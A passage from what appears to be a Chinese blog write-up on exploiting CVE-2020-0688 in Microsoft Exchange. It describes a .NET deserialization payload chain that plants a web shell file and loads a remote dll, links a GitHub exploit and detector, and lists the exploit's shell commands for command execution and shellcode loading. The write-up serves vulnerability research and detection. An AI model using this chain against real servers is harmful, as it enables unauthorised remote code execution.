};//....ls.Add(e1);ls.Add(e2);# ls.Add(e3);ls.Add(e4);ls.Add(e5);ls.Add(pds);//....
注意,通过 链式Select 会调用 WhereSelectEnumerableIterator.Select 方法,此方法的调用过程中使用了 lambda表达式 ,同样会导致序列化编译器自动生成的类,所以只能通过反射进行创建。 RemoteStub.dll 为需要在远程加载执行的dll。 修改ActivitySurrogateSelectorGenerator并重新生成payload,其中不再包含任何自动生成类。 编译执行访问成功加载执行我们指定的程序集,至此漏洞利用圆满达成。0x50 Exp 有了上述研究结论,编写出更为通用的exp也就不难了,可以在 http://github/zcgonvh/CVE-2020-0688  进行下载。 其中ExchangeDetect为检测程序,原理基于0x31一节所述,可以在 CoreCLR 环境下运行。 仅支持单个检测,存在漏洞的话 ExitCode 将返回4。 如果需要批量检测请自行修改或判断返回值。 执行结果如图所示: 7c3a82f8a3d38f5235edd52055c85176.png ExchangeCmd为Exp,支持命令执行和远程ShellCode加载,其原理基于0x41-0x45小节所述。 第一阶段通过反序列化写入空白 LiveIdError.aspx ,第二阶段通过向此文件发送最终的Payload加载指定自定义dll,达到代码执行。 执行成功后会返回一个伪交互式命令行,其支持的命令如下:
exec  [args]  exec commandarch  get remote process architecture(for shellcode)shellcode   run shellcodeexit  exit program
在本地测试环境执行的结果如图所示: ad176ea7a371293811ec2a7fcdcd8d12.png 88749bf07f61ce67f3969db011535608.png RemoteStub为此Exp发送的dll,所有的交互都已进行加密,其执行 whoami /all 产生的数据如图所示: 3ec0ecd3beef15f248358d8cd4a8c8fd.png

9dd4b1f75b8ed491e923b64bdf411803.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值